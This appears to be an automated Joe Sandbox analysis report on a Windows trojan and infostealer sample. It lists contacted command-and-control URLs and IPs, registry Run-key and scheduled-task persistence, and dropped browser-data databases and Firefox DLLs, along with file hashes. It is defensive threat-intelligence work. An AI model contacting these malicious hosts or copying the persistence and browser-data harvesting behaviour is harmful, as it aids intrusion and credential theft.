https://cook-rain.sbs:443/apiLocal	7250ce8e20.exe, 0000001B.00000003.3221237929.00000000054F8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3118327740.00000000054F3000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3118895108.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3117891732.00000000054F0000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/J	7250ce8e20.exe, 0000001D.00000003.3432070435.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3459060941.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3433559770.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/V	7250ce8e20.exe, 0000001D.00000003.3517884390.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/msvcp140.dll;	file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2779347504.000000000169E000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/D	7250ce8e20.exe, 00000022.00000003.3483691930.0000000001297000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/C	7250ce8e20.exe, 00000022.00000003.3514455621.00000000012B7000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3548077701.00000000012B7000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpf	35e66d06ff.exe, 0000001E.00000002.3293296795.0000000001720000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exe32=AW	7250ce8e20.exe, 0000001B.00000003.3357635672.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3357172433.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000002.3468049249.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/=	7250ce8e20.exe, 0000001D.00000003.3517884390.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2490369694.0000000023B26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094872268.0000000005536000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3095381949.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268405736.0000000005539000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	false
https://ac.duckduckgo.com/ac/	firefox.exe, 0000002F.00000003.3381148615.0000025421453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/	firefox.exe, 0000002F.00000003.3416696041.0000025421372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3545573720.0000025421372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3381148615.0000025421453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3568361684.0000025421366000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3557244379.000002542136D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	false
http://.css	9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpt	35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3310674431.000000000557D000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/4	7250ce8e20.exe, 0000001D.00000003.3432070435.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3459060941.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3433559770.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/fmpuKr	7250ce8e20.exe, 00000022.00000003.3548532421.0000000001297000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3513307917.000000000129A000.00000004.00000020.00020000.00000000.sdmp	false
http://mozilla.org/MPL/2.0/.	firefox.exe, 0000002F.00000003.3562116113.000002541FCC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3565470151.00000254225D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3512209147.00000254225ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3396123826.000002541FCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3510329885.000002541FCD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3541486595.00000254225FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3579046825.000002542157D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3471180484.0000025423A7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3592156664.00000254225D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3597639925.00000254225E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3512209147.00000254225D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3441942587.0000025423CEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3536314922.000002542179F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3563749894.00000254217A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3560937854.0000025421799000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3581242404.000002541FCD3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3581242404.000002541FCC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3583759274.000002542157D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3441942587.0000025423CA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3541486595.00000254225F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3566469293.00000254217A7000.00000004.00000800.00020000.00000000.sdmp	false
https://account.bellmedia.c	firefox.exe, 0000002F.00000003.3469523361.00000254246EF000.00000004.00000800.00020000.00000000.sdmp	false
http://detectportal.firefox.com	firefox.exe, 0000002F.00000003.3433594905.00000254253EA000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings	firefox.exe, 0000002F.00000003.3568021756.0000025423BCD000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
62.76.234.151	fvtejj5vs.top	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
13.249.205.106	unknown	United States	16509	AMAZON-02US	false
142.250.186.78	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
23.47.50.143	unknown	United States	16625	AKAMAI-ASUS	false
142.250.185.206	plus.l.google.com	United States	15169	GOOGLEUS	false
23.198.7.183	unknown	United States	20940	AKAMAI-ASN1EU	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
151.101.65.91	services.addons.mozilla.org	United States	54113	FASTLYUS	false
142.250.181.238	play.google.com	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.201.103.21	normandy-cdn.services.mozilla.com	United States	15169	GOOGLEUS	false
20.42.73.24	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.74.196	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
23.198.7.172	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.177	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
23.218.232.139	unknown	United States	24835	RAYA-ASEG	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	true
23.221.22.214	unknown	United States	20940	AKAMAI-ASN1EU	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
23.192.223.232	unknown	United States	16625	AKAMAI-ASUS	false
23.218.232.170	unknown	United States	24835	RAYA-ASEG	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558114
Start date and time:	2024-11-19 01:00:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@130/303@199/43
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.163, 142.250.185.174, 74.125.133.84, 34.104.35.123, 216.58.212.131, 216.58.206.74, 142.250.186.74, 172.217.16.138, 172.217.16.202, 142.250.186.138, 142.250.184.202, 142.250.184.234, 142.250.186.170, 142.250.74.202, 142.250.186.42, 142.250.186.106, 216.58.206.42, 172.217.18.10, 172.217.23.106, 216.58.212.138, 142.250.181.234, 192.229.221.95, 142.250.185.106, 142.250.185.202, 142.250.185.170, 142.250.185.234, 216.58.212.170, 142.250.185.74, 142.250.185.138, 199.232.210.172, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 142.250.186.46, 13.107.6.158, 108.141.37.120, 2.22.242.105, 2.22.242.11, 4.175.223.124, 88.221.110.195, 88.221.110.179, 2.23.209.130, 2.23.209.140, 2.23.209.182, 2.23.209.187, 2.23.209.133, 2.23.209.149, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.3, 2.23.209.59, 2.23.209.20, 2.23.209.45, 2.23.209.52, 2.23.209.57, 2.23.209.51, 2.23.209.13, 2.22.242.82, 2.22.242.121, 93.184.221.240, 184.28.89.167, 142.250.185.78, 142.250
Excluded domains from analysis (whitelisted): data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, onedscolprdeus14.eastus.cloudapp.azure.com, aus5.mozilla.org, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, a19.dscg10.akamai.net, prod-agic-we-10.westeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, config-edge-skype.l-0007.l-msedge.net, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, www.bing.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, a17.rackcdn.com.mdc.edgesuite.net, go.microsoft.com, www.bing.com.edgekey.net, safebrowsing.googleapis.com, optimizationguide-pa.googleapis.com, accounts.google.com, bzib.nelreports.net.akamaized.net, th.bing.com.edgekey.net, otelrules.azureedge.net, api.edgeoffer.microsoft.com, s
Execution Graph export aborted for target DocumentsHDGCAAFBFB.exe, PID 8144 because it is empty
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:02:13	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
01:02:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7250ce8e20.exe C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe
01:02:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7250ce8e20.exe C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe
01:02:59	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 35e66d06ff.exe C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe
01:03:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run dd2bc11318.exe C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe
01:03:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8865d2703a.exe C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe
01:03:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 35e66d06ff.exe C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe
01:03:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run dd2bc11318.exe C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe
01:03:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8865d2703a.exe C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe
01:05:40	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
19:01:45	API Interceptor	200x Sleep call for process: file.exe modified
19:02:18	API Interceptor	13184831x Sleep call for process: skotes.exe modified
19:02:38	API Interceptor	235x Sleep call for process: 7250ce8e20.exe modified
19:03:02	API Interceptor	3383807x Sleep call for process: 9b3207e1a5.exe modified
19:03:34	API Interceptor	1x Sleep call for process: firefox.exe modified

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2675460050026652
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM1SA1LyKOMq+8iP5GDHP/0jMVumL:Kq+n0J191LyKOMq+8iP5GLP/0e
MD5:	B3F6AE57DD7D38DCBB4D968FF6C82C72
SHA1:	419521A56DC7437A658D515F900F2DB311094F63
SHA-256:	FB7F8AF9B75A2C89123A0E32EFE7404997617B9492DF841279017D6B06C64236
SHA-512:	1EE86ED3E4D8DC2E6A10D5D29CE3976EC6B332E259B88DE924C191861F334644A7661302E1BF98FD9A1B4A735F6E04E185EEFD6712BD6F4B96EF7829A1F892E5
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBAFCAKEHDHDHIDHDGDHJEGHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHJDAAEGIDHDGCAAFCBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IDBKKKKKFBGDGDHIDBGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJKJDAFHJDHIEBGCFID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJDGIEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJJDAAECGHDGDGCGHDBAECFHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
